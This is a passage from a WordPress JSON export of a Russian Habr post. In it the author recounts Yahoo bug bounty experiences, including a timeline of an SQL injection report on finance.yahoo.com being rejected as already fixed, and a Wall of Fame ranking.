\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b \u0432 Yahoo. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0435\u0449\u0451 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0438\u043b\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f. \u0415\u0441\u0442\u044c \u0442\u0430\u043c \u0432\u0435\u0441\u044c\u043c\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435. \u041e \u043d\u0438\u0445 \u044f \u0441 \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u0435\u043c \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0445 \u0437\u0430\u043a\u0440\u043e\u044e\u0442.<\/p>\n<h6>\u0418\u0437 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e\u0433\u043e.<\/h6>\n<p>  \u0417\u0430\u043f\u0438\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u043e\u043c\u0435\u043d\u0435 finance.yahoo.com. \u0422\u0430\u043c \u0431\u044b\u043b \u0442\u0451\u043f\u043b\u044b\u0439, \u043b\u0430\u043c\u043f\u043e\u0432\u044b\u0439 UNION SELECT SQLi c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0412\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<br \/>  21.11 \u2014 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<br \/>  25.11 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430<br \/>  27.11 \u2014 \u043e\u0442\u0432\u0435\u0442: \u00ab\u041d\u0435 \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043f\u0440\u0438\u0448\u043b\u0438\u0442\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e\u00bb<br \/>  27.11 \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u0438 \u043a\u043e\u0435-\u043a\u0430\u043a\u0443\u044e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.<br \/>  2.12 \u2014 \u043e\u0442\u0432\u0435\u0442: \u00ab\u0412\u0438\u0434\u0438\u043c\u043e \u043e \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0438 \u0435\u0451 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0435\u0451 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c.\u00bb<br \/>  \u00abWTF?!!!\u00bb \u2014 \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u044f. \u0418 \u043d\u0435 \u0441\u0442\u0430\u043b \u0440\u0443\u0433\u0430\u0442\u044c\u0441\u044f. <br \/>  10.12 \u2014 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0435\u0449\u0451 \u043e\u0434\u043d\u043e \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0431\u043e\u043b\u0435\u0435 \u0432\u043d\u044f\u0442\u043d\u044b\u043c \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0435\u0433\u043e, \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043d\u0438\u043a\u0430\u043a, \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e: \u00ab\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0443\u0436\u0435 \u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043d\u0430\u0434 \u0435\u0451 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0418\u041b\u0418 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0427\u0430\u0441\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\u00bb<br \/>  \u0418 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u0438\u0448\u043b\u043e \u0435\u0449\u0451 \u043e\u0434\u043d\u043e \u043f\u0438\u0441\u044c\u043c\u043e, \u0433\u0434\u0435 Yahoo \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b XSS \u0438 SQLi \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u00ab\u0438\u043b\u0438 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c \u0438\u043b\u0438 \u044d\u0442\u043e \u0434\u0443\u0431\u0438\u043a\u0430\u0442\u044b\u00bb:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/862\/0cc\/cea\/8620ccceaa3f713d12a618ac22cc0e71.png\" alt=\"SQLi \u0438 XSS \u043e\u0442\u043a\u043b\u043d\u043e\u043d\u0435\u043d\u044b.\"\/><br \/>  \u041e\u0447\u0435\u043d\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u043e, \u043f\u043e \u043e\u0431\u043e\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0430 \u043f\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445 \u0442\u0430\u043a \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u044b\u043b\u0430 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043b\u043e\u0442\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430.\u0427\u0442\u043e \u0436, \u043d\u0435 \u043f\u0440\u0438\u044f\u0442\u043d\u043e, \u043d\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u0435\u0437\u0434\u0435 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u043c.<\/p>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435, \u0432\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u0438 \u0442\u0435, \u0447\u0442\u043e \u044f \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043c\u043d\u0435 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0432 \u0422\u041e\u041f-10 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u044f\u043d\u0432\u0430\u0440\u044f \u0432 <a href=\"http:\/\/bugbounty.yahoo.com\/security_wall.html\">Yahoo \u2014 Wall of Fame<\/a>.<\/p>\n<p>  \u041d\u0443 \u0438 \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a \u2014 \u043f\u0440\u0443\u0444 \u0438\u043b\u0438 \u043d\u0435 \u0431\u044b\u043b\u043e: <a href=\"https:\/\/hackerone.com\/4lemon\">hackerone.com\/4lemon<\/a>. \t\t\t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/212317\/\"> http:\/\/habrahabr.ru\/post\/212317\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\"> \t\t\t\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043f\u043e\u043e\u0449\u0440\u0435\u043d\u0438\u044f \u043e\u0442 Yahoo (\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e). \u0420\u0430\u0441\u0441\u043a\u0430\u0436\u0443, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u0451\u043b, \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u043f\u043e\u0440\u043e\u043b\u0441\u044f \u0438 \u043d\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0449\u0435\u0434\u0440\u044b\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c Yahoo. \u0416\u0434\u0443 \u0432\u0430\u0441 \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c!<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/efe\/6bc\/cc7\/efe6bccc7425663ad3db9c2f30ebb1de.jpg\" alt=\"Yahoo Bug Bounty\"\/>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-212317","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/212317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=212317"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/212317\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=212317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=212317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=212317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}